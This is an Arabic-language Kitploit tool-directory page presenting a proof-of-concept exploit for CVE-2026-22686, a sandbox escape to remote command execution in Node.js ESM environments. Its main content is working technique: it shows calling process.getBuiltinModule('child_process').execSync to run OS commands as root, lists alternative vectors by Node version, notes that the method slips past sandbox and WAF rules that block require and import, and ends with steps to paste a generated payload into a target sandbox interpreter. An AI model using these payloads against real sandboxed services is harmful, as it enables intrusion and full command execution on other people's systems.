Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — إثبات مفهوم لاستغلال CVE-2026-22686، يوضح تنفيذ الأوامر عن بُعد في بيئات Node.js ESM المعزولة عبر process.getBuiltinModule لتجاوز قيود الوحدات. | Kitploit
أدوات/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

إثبات مفهوم لاستغلال CVE-2026-22686، يوضح تنفيذ الأوامر عن بُعد في بيئات Node.js ESM المعزولة عبر process.getBuiltinModule لتجاوز قيود الوحدات.

عرض المستودع
25منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

RCE في بيئات ESM — مشكلة require

عند تحقيق هروب من بيئة العزل (sandbox) عبر CVE-2026-22686، يتطلب تنفيذ أوامر نظام التشغيل في مشروع ESM ("type": "module") تجاوز قيود تحميل الوحدات في Node.js. تفشل الطرق القياسية للأسباب التالية:

المتجهالنتيجة
require('child_process')❌ require is not defined — غير متاح في ESM
process.mainModule.require(...)❌ Cannot read properties of undefined — mainModule هو undefined في ESM
import('child_process')❌ A dynamic import callback was not specified — يتطلب خطافًا غير مُهيأ في بيئة العزل
process.binding('spawn_sync')⚠️ متاح لكنه منخفض المستوى — يتطلب بناء استدعاءات نظام يدويًا

الحل: تعداد خصائص process ← process.getBuiltinModule

بدلاً من افتراض طريقة تحميل وحدات، نقوم بتعداد مفاتيح process مباشرةً من سياق المضيف (يمكن الوصول إليه بالفعل بعد هروب بيئة العزل):

root@kitploit:~
return Object.keys(process)

من بين المفاتيح التي تم إرجاعها، تم تحديد getBuiltinModule — وهي واجهة برمجة تطبيقات أصلية في Node.js 22+ مصممة خصيصًا للسماح لوحدات ESM بالوصول إلى وحدات Node.js المدمجة بدون require أو import().

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ تأكيد RCE

هذه هي النقطة الأساسية: process.getBuiltinModule هي واجهة برمجة تطبيقات جديدة نسبيًا (Node.js >= 22.3.0) وغالبًا ما يتم تجاهلها من قبل تطبيقات بيئات العزل وقواعد جدار الحماية (WAF) التي تحظر require و import.


متجهات بديلة (حسب إصدار Node.js)

اعتمادًا على البيئة المستهدفة، قد تكون متجهات أخرى متاحة بعد تعداد process:

المتجهإصدار Node.jsملاحظات
process.getBuiltinModule('child_process')>= 22.3.0✅ الأنظف — واجهة برمجة تطبيقات رسمية آمنة لـ ESM
process.binding('spawn_sync')جميع الإصدارات⚠️ منخفض المستوى، يتطلب بناء مخازن مؤقتة يدويًا
process.mainModule.require(...)CJS فقط❌ غير معرّف في ESM
__non_webpack_require__حزم Webpack⚠️ خاص بالبيئة
Module.createRequire(import.meta.url)>= 12.2.0⚠️ يتطلب مرجع Module من المضيف
process._linkedBinding('node_os')الإصدارات الداخلية⚠️ نادرًا ما يكون مكشوفًا

الخلاصة: قم دائمًا بتعداد Object.keys(process) بعد تحقيق الوصول إلى سياق المضيف. يختلف سطح الهجوم المتاح بشكل كبير حسب إصدار Node.js وتكوين المشروع. getBuiltinModule هو المتجه الأكثر موثوقية في بيئات ESM الحديثة في Node.js.

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

الخطوات:

  1. أدخل أمرك الشخصي
  2. الصق الحمولة الناتجة في مترجم بيئة العزل (sandbox) الخاص بـ js
  3. استمتع بالنتائج
image
تنزيل الأداة